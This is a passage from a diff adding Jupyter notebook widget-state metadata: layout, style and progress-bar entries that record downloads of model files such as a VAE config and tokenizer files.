"@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3bc08cdf09a84428a51955f2aa42ea30": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0a8793f9c57f48b299703b7945163b50", + "placeholder": "​", + "style": "IPY_MODEL_edb8b182bc4a413185e754aae38ee93a", + "value": "Downloading (…)a0d5/vae/config.json: 100%" + } + }, + "3d17c5e7b942485d9ca1db572c06afe5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3eec3e2c3abe40efb74a05a67bf755a0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3eee3667ff024f2a875dcf57f00d7f70": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3f94af984ba84b838643b03caf8d2d4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dba967ac191d45a0b604e93f0dc1fffe", + "placeholder": "​", + "style": "IPY_MODEL_f8cc05786ad94dcca69f1fedf6d4aa4a", + "value": " 167M/167M [00:02<00:00, 59.2MB/s]" + } + }, + "406fd8a742b443968d3f2fc1d3dbfef1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7d9b49d6dbfc41988b2c3c6ac40a3cae", + "placeholder": "​", + "style": "IPY_MODEL_35b84a2a8e0749268b14492abcf0af1f", + "value": " 1.06M/1.06M [00:00<00:00, 3.64MB/s]" + } + }, + "41c2930f406d484ca7e1e8a4c13f9b35": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_12808180b0b64ecd90839c791134b5fb", + "placeholder": "​", + "style": "IPY_MODEL_115b71885ef241fb8884e8de28dfdb8c", + "value": " 525k/525k [00:00<00:00, 2.90MB/s]" + } + }, + "42ad2fe1e9ee44dcb9d3b7c6af9a87a1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "43aa766628a147548714ef986c9d979a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "45e95708fe6043c68fd25d8802778998": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "45ed824c2cd746c09e61dc8a2bdd3384": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7d654e85d8794af197e72f905086b9a7", + "max": 167399505, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f3804bde7c974eaf90df71e9fdd3539b", + "value": 167399505 + } + }, + "4ac86feba0924fad8c82be426d774ce4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3a0dacdec71447a490820baf3a405580", + "placeholder": "​", + "style": "IPY_MODEL_bf0a27e1f6f3454fafa2bb04a16e4ba6", + "value": "Fetching 12 files: 100%" + } + }, + "4cecf6bc5f294968bcee7bf65896a31d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_28cd65b9d6f946abab83e430ab6d2017", + "placeholder": "​", + "style": "IPY_MODEL_a432cb1a0bc7418bb90248973e91c452", + "value": "100%" + } + }, + "4e264808109e4b52983260067550883e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "51b9487b43204e23bc11c2693f46ff72": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2c63224632c04b159f2c9453e4ca3c15", + "IPY_MODEL_5568e424494e406ea991d0c778924aa8", + "IPY_MODEL_f0d04527bbe94bfdb91353827c2ad7db" + ], + "layout": "IPY_MODEL_d1bf7fca5177409290ea45d701774d6d" + } + }, + "534cf1c7f20a431cab02aea224148db3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_1997648c2dc946e1bdb18d2730175ea8", + "IPY_MODEL_2496cd9b6ee640f8a6d398b7a56f93b7", + "IPY_MODEL_7f0e7d1bd12b4d0eb800a3d62901c4a8" + ], + "layout": "IPY_MODEL_b75a2474c46f4f3b9d84cb981bfffac7" + } + }, + "5568e424494e406ea991d0c778924aa8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_77755839ec0946c5b33488dd412f4d58", + "max": 617, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f7d7fb787f884822aa3e5cdbfab22b1d", + "value": 617 + } + }, + "5573d97394b144d6b8f4065bf81e6d05": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "597a8eacf00b406ab23af333aea97e3c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5a702086896f4a229e326fa05d616b35": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5bb94e6390af4e81ac0e6b3a47445996": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_37af49a1966045ee992e01f45ff5df81", + "max": 50, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_8120fb8694244e5dbbc448eb2a6e03dc", + "value": 50 + } + }, + "5e09f80f20554f419d925c5cdf55cc63": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5eba2d04c1c54016834e7dddd253a380": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "61325b5427e44d0885d95a82fc44cfd6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_37735d14a2614ffbbceaef743d2033a9", + "IPY_MODEL_80916d39f0bc426488b41a013196cc42", + "IPY_MODEL_7badbb79920e43b9a6f6317e7b746384" + ], + "layout": "IPY_MODEL_693b0b6df20e4f2caeaeb4838b37d8bb" + } + }, + "614b85aff85e47debadea7773583b8ab": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3d17c5e7b942485d9ca1db572c06afe5", + "placeholder": "​", + "style": "IPY_MODEL_29f58c06e0474f4e8f411aaaceb4d7f7", + "value": "100%" + } + }, + "621ceb287f8243f5a2952613c01f3f82": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "62924d5b19784abcaa672d995fc15127": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "64f6ec814be648d3ba69f94eb844a049": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "67a3104f358e48459f458fddf98b826e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "68b6a1a9d4c7422d9263e00cbd956be1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "693b0b6df20e4f2caeaeb4838b37d8bb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "69faef33b09f4da7b1c11639102b2a4f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6e0be2c85237496eb97b53963654dffa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_163075971def4198b5cc7a0d5ec3c81d", + "placeholder": "​", + "style": "IPY_MODEL_9984e9b0a929433ab6e4501538a60c80", + "value": " 901/901 [00:00<00:00, 4.42kB/s]" + } + }, + "6f400bad53794c7cbed09e4fd59c211d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_4cecf6bc5f294968bcee7bf65896a31d", + "IPY_MODEL_5bb94e6390af4e81ac0e6b3a47445996", + "IPY_MODEL_af474aa6c91344da9a968e7e2488b74c" + ], + "layout": "IPY_MODEL_5a702086896f4a229e326fa05d616b35" + } + }, + "73f2e3215913478aae13131aefadd0a5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "773661aa8b6e4c0db5238cfe398b2b5b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_67a3104f358e48459f458fddf98b826e", + "placeholder": "​", + "style": "IPY_MODEL_b63595513fec4e81a0a8200294faf7ba", + "value": "Downloading (…)cial_tokens_map.json: 100%" + } + }, + "77755839ec0946c5b33488dd412f4d58": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7989fe19c8b749ddaa60c5c7b5cec0ea": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_773661aa8b6e4c0db5238cfe398b2b5b", + "IPY_MODEL_21d9342ed95d4bf0959647ef57fceb97", + "IPY_MODEL_0bb6ef1e3a2d43ca970723b0e5ac93cf" + ], + "layout": "IPY_MODEL_0b9c78977b6a45da9aa6ada3332fbc28" + } + }, + "7badbb79920e43b9a6f6317e7b746384": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dfdaf22078fd4385ab30060981d67666", + "placeholder": "​", + "style": "IPY_MODEL_3eee3667ff024f2a875dcf57f00d7f70", + "value": " 246M/246M [00:03<00:00, 